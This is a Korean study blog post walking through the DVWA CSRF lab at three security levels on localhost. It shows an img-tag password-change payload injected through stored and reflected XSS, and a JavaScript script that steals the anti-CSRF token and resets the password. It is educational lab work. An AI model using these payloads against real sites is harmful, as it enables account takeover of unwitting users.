Tiny Bunny

동아리/팀 스터디

[9기 심화] 웹 취약점 분석 14

bento 2024. 5. 10. 19:31
DVWA 실습

 

CSRF

: Cross Site Request Forgery 사이트 간 요청 위조 

사용자의 권한을 이용.. (사용자 모르게) 

 

low

비밀번호를 변경하고, test 해볼 수 있다

 

변경 시, 전달되는 파라미터 확인

 

<img src='http://localhost/DVWA/vulnerabilities/csrf/?password_new=fool&password_conf=fool&Change=Change' width=0px height=0px>

을 stored xss쪽에 삽입을 해준다

(message length 늘려주기 필요)

 

삽입됨

 

test(기존) - wrong

fool(csrf 공격) - valid

 

medium

리퍼러 검증을 하고 있지만 이전 단계 방식으로 똑같이 가능할 것 같다...

다만 그대로 진행하게 되면 

너무 길다고 한다..&&

 

Reflected xss를 사용해서 진행해보자

http://localhost/DVWA/vulnerabilities/xss_r/?name=<img src='http://localhost/DVWA/vulnerabilities/csrf/?password_new=fool&password_conf=fool&Change=Change' width=0px height=0px>

 

안돼서 이렇게 바꿈....
http://localhost//DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3D%27http%3A%2F%2Flocalhost%2FDVWA%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3Dfool%26password_conf%3Dfool%26Change%3DChange%27+width%3D0px+height%3D0px%3E 

 

이 링크를 메일로 받았다고 가정해보자.. 

과정을 보면

넘어가는 모습

 

high

csrf token이 생겼다

 

https://github.com/SecuAcademy/webhacking/blob/master/csrfhigh.js

 

webhacking/csrfhigh.js at master · SecuAcademy/webhacking

'화이트해커가 되기 위한 8가지 웹 해킹 기술' 강의자료. Contribute to SecuAcademy/webhacking development by creating an account on GitHub.

github.com

스크립트 참고!!

 

var xhr;
var dvwa_csrf_url = '/DVWA/vulnerabilities/csrf/';
req1();

function req1() {
        xhr = new XMLHttpRequest();

        xhr.onreadystatechange = req2;
        xhr.open('GET', dvwa_csrf_url);
        xhr.send();
}

function req2() {
        if (xhr.readyState === 4 && xhr.status === 200) {
                var htmltext = xhr.responseText;
                var parser = new DOMParser();
                var htmldoc = parser.parseFromString(htmltext,'text/html');

                var CSRFtoken = htmldoc.getElementsByName("user_token")[0].value;
                alert('Found the token: ' + CSRFtoken);

                xhr = new XMLHttpRequest();
                xhr.open('GET', dvwa_csrf_url + '?password_new=hacker&password_conf=hacker&Change=Change&user_token=' + CSRFtoken);
                xhr.send();

        }

}

맨처음 경로만 DVWA로 수정해서 진행했다!!

 

1번 요청

: csrf 토큰을 얻기 위해 csrf url 접근

 

2번 요청

: 1번 요청이 제대로 됐나 확인하면 csrf 토큰을 가져오고 확인차 경고창 띄우기, 찾은 토큰을 붙여서 hacker로 비밀번호를 변경하는 요청을 보냄

 

js파일을 서버쪽에 올려주고.. /var/www/html/DVWA

stored xss 쪽에 스크립트를 삽입해두고 (low에서)

 

접속하면 첫번째 요청

 

 

두번째 요청까지 완료돼서

비밀번호가 바뀐다

728x90